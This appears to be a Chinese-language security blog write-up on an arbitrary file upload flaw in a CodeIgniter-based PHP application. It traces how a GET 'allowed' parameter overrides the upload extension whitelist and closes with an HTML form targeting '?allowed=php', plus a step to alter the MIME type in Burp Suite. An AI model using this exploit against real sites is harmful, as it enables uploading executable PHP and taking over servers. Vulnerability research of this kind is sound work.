PHP…

0x01

任意文件上传

漏洞分析

漏洞出现在/addons/system/site.php的doWebUpfile函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function doWebUpfile($parent = null)
{
$user = $this->user->getuser();
$iname = value($parent, 1, false, 'file_img'); //表单名
$tname = value($parent, 2, false, 'images'); //类型:images/videos/voices
$fname = value($parent, 3); //文件命名
$allowed = value($_GET, 'allowed'); //格式限制
$size = intval(value($_GET, 'size')); //大小限制KB
$userid = intval(value($_GET, 'userid')); //用户ID
if (empty($userid)) $userid = $user['userid'];
$arr = array();
$tname = in_array($tname, array('images','audio','voices','videos'))?$tname:'images';
$arr['upload_path'] = FCPATH."uploadfiles/users/".$userid."/".$tname."/".date("Y/m/");
if ($tname == 'audio' || $tname == 'voices') {
$arr['allowed_types'] = 'mp3|wma|wav|amr';
}elseif ($tname == 'videos'){
$arr['allowed_types'] = 'rm|rmvb|wmv|avi|mpg|mpeg|mp4';
}else{
$arr['allowed_types'] = 'gif|jpg|jpeg|png';
}
if ($allowed && $allowed != "undefined") {
$arr['allowed_types'] = $allowed;
}
$arr['file_name'] = ($fname)?$fname:SYS_TIME.rand(10,99);
if ($size > 0) {
$arr['max_size'] = $size;
}
$this->load->model('vupload');
$data = $this->vupload->upfile($arr, $iname);
echo json_encode($data);
exit();
}

明显有一个文件上传的操作,这里先看到格式限制

1
$allowed = value($_GET, 'allowed');

跟到value函数
在/addons/system/site.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function value($obj, $key = '', $null_is_arr = false, $default = ''){
if (is_int($key)) {
if (isset($obj[$key])){
$obj = $obj[$key];
}else{
$obj = "";
}
}elseif (!empty($key)){
$arr = explode(".", str_replace("|", ".", $key));
foreach ($arr as $val){
if (isset($obj[$val])){
$obj = $obj[$val];
}else{
$obj = "";break;
}
}
}
if ($default && empty($obj)) $obj = $default;
if ($null_is_arr) {
if ($null_is_arr === 'int') {
$obj = intval($obj);
}elseif (empty($obj)) {
$obj = array();
}
}
return $obj;
}

这个函数就是获取GET数组,所以可以通过GET的方式传递allowed的值,回到doWebUpfile函数,接下来是对\$arr[‘allowed_types’]赋值

1
2
3
if ($allowed && $allowed != "undefined") {
$arr['allowed_types'] = $allowed;
}

接下来调用了upfile函数
在/include/model/Vupload.php中

1
2
3
4
5
6
function upfile($config, $field_name = ""){
if (empty($config)) return array('success' =>-1);
$this->make_dir($config['upload_path']);
$this->load->library('upload', $config);
if (!$this->upload->do_upload($field_name)){
...

这里先把upload加载,之后调用其中的do_upload函数,在/system/libraries/Upload.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
public function do_upload($field = 'userfile')
{
// Is $_FILES[$field] set? If not, no reason to continue.
if (isset($_FILES[$field]))
{
$_file = $_FILES[$field];
}
// Does the field name contain array notation?
elseif (($c = preg_match_all('/(?:^[^\[]+)|\[[^]]*\]/', $field, $matches)) > 1)
{
$_file = $_FILES;
for ($i = 0; $i < $c; $i++)
{
// We can't track numeric iterations, only full field names are accepted
if (($field = trim($matches[0][$i], '[]')) === '' OR ! isset($_file[$field]))
{
$_file = NULL;
break;
}

$_file = $_file[$field];
}
}

if ( ! isset($_file))
{
$this->set_error('upload_no_file_selected', 'debug');
return FALSE;
}

// Is the upload path valid?
if ( ! $this->validate_upload_path())
{
// errors will already be set by validate_upload_path() so just return FALSE
return FALSE;
}

// Was the file able to be uploaded? If not, determine the reason why.
if ( ! is_uploaded_file($_file['tmp_name']))
{
$error = isset($_file['error']) ? $_file['error'] : 4;

switch ($error)
{
case UPLOAD_ERR_INI_SIZE:
$this->set_error('upload_file_exceeds_limit', 'info');
break;
case UPLOAD_ERR_FORM_SIZE:
$this->set_error('upload_file_exceeds_form_limit', 'info');
break;
case UPLOAD_ERR_PARTIAL:
$this->set_error('upload_file_partial', 'debug');
break;
case UPLOAD_ERR_NO_FILE:
$this->set_error('upload_no_file_selected', 'debug');
break;
case UPLOAD_ERR_NO_TMP_DIR:
$this->set_error('upload_no_temp_directory', 'error');
break;
case UPLOAD_ERR_CANT_WRITE:
$this->set_error('upload_unable_to_write_file', 'error');
break;
case UPLOAD_ERR_EXTENSION:
$this->set_error('upload_stopped_by_extension', 'debug');
break;
default:
$this->set_error('upload_no_file_selected', 'debug');
break;
}

return FALSE;
}

// Set the uploaded data as class variables
$this->file_temp = $_file['tmp_name'];
$this->file_size = $_file['size'];

// Skip MIME type detection?
if ($this->detect_mime !== FALSE)
{
$this->_file_mime_type($_file);
}

$this->file_type = preg_replace('/^(.+?);.*$/', '\\1', $this->file_type);
$this->file_type = strtolower(trim(stripslashes($this->file_type), '"'));
$this->file_name = $this->_prep_filename($_file['name']);
$this->file_ext = $this->get_extension($this->file_name);
$this->client_name = $this->file_name;

// Is the file type allowed to be uploaded?
if ( ! $this->is_allowed_filetype())
{
$this->set_error('upload_invalid_filetype', 'debug');
return FALSE;
}

// if we're overriding, let's now make sure the new name and type is allowed
if ($this->_file_name_override !== '')
{
$this->file_name = $this->_prep_filename($this->_file_name_override);

// If no extension was provided in the file_name config item, use the uploaded one
if (strpos($this->_file_name_override, '.') === FALSE)
{
$this->file_name .= $this->file_ext;
}
else
{
// An extension was provided, let's have it!
$this->file_ext = $this->get_extension($this->_file_name_override);
}

if ( ! $this->is_allowed_filetype(TRUE))
{
$this->set_error('upload_invalid_filetype', 'debug');
return FALSE;
}
}

// Convert the file size to kilobytes
if ($this->file_size > 0)
{
$this->file_size = round($this->file_size/1024, 2);
}

// Is the file size within the allowed maximum?
if ( ! $this->is_allowed_filesize())
{
$this->set_error('upload_invalid_filesize', 'info');
return FALSE;
}

// Are the image dimensions within the allowed size?
// Note: This can fail if the server has an open_basedir restriction.
if ( ! $this->is_allowed_dimensions())
{
$this->set_error('upload_invalid_dimensions', 'info');
return FALSE;
}

// Sanitize the file name for security
$this->file_name = $this->_CI->security->sanitize_filename($this->file_name);

// Truncate the file name if it's too long
if ($this->max_filename > 0)
{
$this->file_name = $this->limit_filename_length($this->file_name, $this->max_filename);
}

// Remove white spaces in the name
if ($this->remove_spaces === TRUE)
{
$this->file_name = preg_replace('/\s+/', '_', $this->file_name);
}

if ($this->file_ext_tolower && ($ext_length = strlen($this->file_ext)))
{
// file_ext was previously lower-cased by a get_extension() call
$this->file_name = substr($this->file_name, 0, -$ext_length).$this->file_ext;
}

/*
* Validate the file name
* This function appends an number onto the end of
* the file if one with the same name already exists.
* If it returns false there was a problem.
*/
$this->orig_name = $this->file_name;
if (FALSE === ($this->file_name = $this->set_filename($this->upload_path, $this->file_name)))
{
return FALSE;
}

/*
* Run the file through the XSS hacking filter
* This helps prevent malicious code from being
* embedded within a file. Scripts can easily
* be disguised as images or other file types.
*/
if ($this->xss_clean && $this->do_xss_clean() === FALSE)
{
$this->set_error('upload_unable_to_write_file', 'error');
return FALSE;
}

/*
* Move the file to the final destination
* To deal with different server configurations
* we'll attempt to use copy() first. If that fails
* we'll use move_uploaded_file(). One of the two should
* reliably work in most environments
*/
if ( ! @copy($this->file_temp, $this->upload_path.$this->file_name))
{
if ( ! @move_uploaded_file($this->file_temp, $this->upload_path.$this->file_name))
{
$this->set_error('upload_destination_error', 'error');
return FALSE;
}
}

/*
* Set the finalized image dimensions
* This sets the image width/height (assuming the
* file was an image). We use this information
* in the "data" function.
*/
$this->set_image_properties($this->upload_path.$this->file_name);

return TRUE;
}

看到几步关键的检验

1
2
3
4
5
if ( ! $this->is_allowed_filetype())
{
$this->set_error('upload_invalid_filetype', 'debug');
return FALSE;
}

跟到is_allowed_filetype函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public function is_allowed_filetype($ignore_mime = FALSE)
{
if ($this->allowed_types === '*')
{
return TRUE;
}

if (empty($this->allowed_types) OR ! is_array($this->allowed_types))
{
$this->set_error('upload_no_file_types', 'debug');
return FALSE;
}

$ext = strtolower(ltrim($this->file_ext, '.'));

if ( ! in_array($ext, $this->allowed_types, TRUE))
{
return FALSE;
}

// Images get some additional checks
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'jpe', 'png'), TRUE) && @getimagesize($this->file_temp) === FALSE)
{
return FALSE;
}

if ($ignore_mime === TRUE)
{
return TRUE;
}

if (isset($this->_mimes[$ext]))
{
return is_array($this->_mimes[$ext])
? in_array($this->file_type, $this->_mimes[$ext], TRUE)
: ($this->_mimes[$ext] === $this->file_type);
}

return FALSE;
}

这里的\$this->allowed_types就是在Vupload.php中载入upload模块时,用\$config进行过初始化,就是最开始的\$allowed,所以前面的判断都可以绕过,接着是\$ext,是从\$this->file_ext中来的,看到定义

1
2
$this->file_name = $this->_prep_filename($_file['name']);
$this->file_ext = $this->get_extension($this->file_name);

就是一个简单的去文件名,再把文件名中的后缀取出进行赋值,回到is_allowed_filetype函数,看到最后一个if判断

1
2
3
4
5
6
if (isset($this->_mimes[$ext]))
{
return is_array($this->_mimes[$ext])
? in_array($this->file_type, $this->_mimes[$ext], TRUE)
: ($this->_mimes[$ext] === $this->file_type);
}

看到_mimes的定义,在Upload的构造方法中

1
2
3
4
5
6
7
8
9
public function __construct($config = array())
{
empty($config) OR $this->initialize($config, FALSE);

$this->_mimes =& get_mimes();
$this->_CI =& get_instance();

log_message('info', 'Upload Class Initialized');
}

跟到& get_mimes函数
在/system/libraries/Upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function &get_mimes()
{
static $_mimes;

if (empty($_mimes))
{
if (file_exists(APPPATH.'config/'.ENVIRONMENT.'/mimes.php'))
{
$_mimes = include(APPPATH.'config/'.ENVIRONMENT.'/mimes.php');
}
elseif (file_exists(APPPATH.'config/mimes.php'))
{
$_mimes = include(APPPATH.'config/mimes.php');
}
else
{
$_mimes = array();
}
}

return $_mimes;
}

看到/include/config/mimes.php
给出其中的一部分

1
2
3
4
5
'php'    =>    array('application/x-httpd-php', 'application/php', 'application/x-php', 'text/php', 'text/x-php', 'application/x-httpd-php-source'),
'php4' => 'application/x-httpd-php',
'php3' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',

这里给出了文件后缀对应的mime格式,所以在上传文件的时候需要修改mime,至于为什么file_type是mime,看到其定义

1
2
3
4
5
6
7
if ($this->detect_mime !== FALSE)
{
$this->_file_mime_type($_file);
}

$this->file_type = preg_replace('/^(.+?);.*$/', '\\1', $this->file_type);
$this->file_type = strtolower(trim(stripslashes($this->file_type), '"'));

由于detect_mime为TRUE,跟到_file_mime_type函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
protected function _file_mime_type($file)
{
// We'll need this to validate the MIME info string (e.g. text/plain; charset=us-ascii)
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';

/* Fileinfo extension - most reliable method
*
* Unfortunately, prior to PHP 5.3 - it's only available as a PECL extension and the
* more convenient FILEINFO_MIME_TYPE flag doesn't exist.
*/
if (function_exists('finfo_file'))
{
$finfo = @finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);

/* According to the comments section of the PHP manual page,
* it is possible that this function returns an empty string
* for some files (e.g. if they don't exist in the magic MIME database)
*/
if (is_string($mime) && preg_match($regexp, $mime, $matches))
{
$this->file_type = $matches[1];
return;
}
}
}
...

可以看到file_type被赋值成了mime,这样也就造成了任意文件上传


0x02

漏洞利用

首先注册一个用户,利用表单上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>

<form action="http://localhost:4399/vwins/index.php/web/system/upfile/?allowed=php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

上传的时候用burpsuite抓包,修改mime


返回

访问


0x03

One’storm

这里没有给出路由的分析,因为没有分析出路由的原理(太菜了(T_T)),虽然使用的是CI框架但是却把路由规则重新写过了,其实可以通过首页的路由能推敲出(难度较高(T_T))…
Keep Going…

(ง •_•)ง